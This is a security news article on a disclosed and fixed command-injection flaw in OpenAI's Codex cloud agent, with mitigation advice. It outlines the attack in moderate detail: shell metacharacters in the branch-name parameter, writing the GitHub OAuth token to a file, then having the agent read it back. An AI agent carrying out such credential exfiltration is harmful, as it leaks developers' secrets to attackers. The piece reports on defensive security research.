OpenAI Codex Vulnerability Exposes GitHub Credentials via Command Injection
- Critical flaw discovered: An OpenAI Codex command injection flaw facilitates a massive GitHub token compromise via malicious repository branch names.
- Command injection executed: The severe flaw allows attackers to extract sensitive authentication credentials by manipulating the task creation HTTP request parameters.
- Security implications escalate: This exploit enables lateral movement and automated credential exfiltration across shared enterprise network repositories.
An OpenAI Codex flaw exposed software developers to a widespread GitHub token compromise. The vulnerability originated within the Codex cloud infrastructure, OpenAI's cloud-based coding agent accessible through ChatGPT, specifically during the repository task creation process.
When users prompted Codex to analyze a specific codebase, the platform transmitted an HTTP POST request containing the environment identifier and branch name.
Command Injection Flaw
The OpenAI Codex command injection flaw resides within this branch name parameter, Security researchers at BeyondTrust Phantom Labs identified. Because the backend system lacked adequate input sanitization, threat actors could embed shell metacharacters directly into the branch designation.
The vulnerability extended to other Codex applications, including the Codex CLI, SDK, and IDE integration, affecting sensitive credential materials such as OpenAI API keys, ID, access, and refresh tokens, as well as the associated account identifier.
Creating a command injection payload to output the Git remote URL and embedded OAuth token to a file, then asking the Codex agent to read and return the file’s contents successfully captured and exfiltrated the developer's cleartext GitHub OAuth token.
Mitigating AI Agent Security Risks
OpenAI has fully remediated this critical vulnerability across all affected applications following responsible disclosure. However, this incident emphasizes escalating AI agent security risks. Adversaries could automate and scale this attack to target multiple developers by generating obfuscated, malicious branches within shared organizational repositories.
As AI agents become more deeply integrated into developer workflows, the attack surface is expanding, and the security of these environments needs to keep pace. “The security of the containers they run in and the input they consume must be treated with the same rigor as any other application security boundary,” the Phantom Labs report added.
Organizations must strictly treat AI execution containers as defined security boundaries, enforcing least privilege access protocols and continuously monitoring API logs to prevent credential theft.
A March report outlined that a Claude.ai vulnerability dubbed Claudy Day chained prompt injection, open redirects, and data exfiltration.







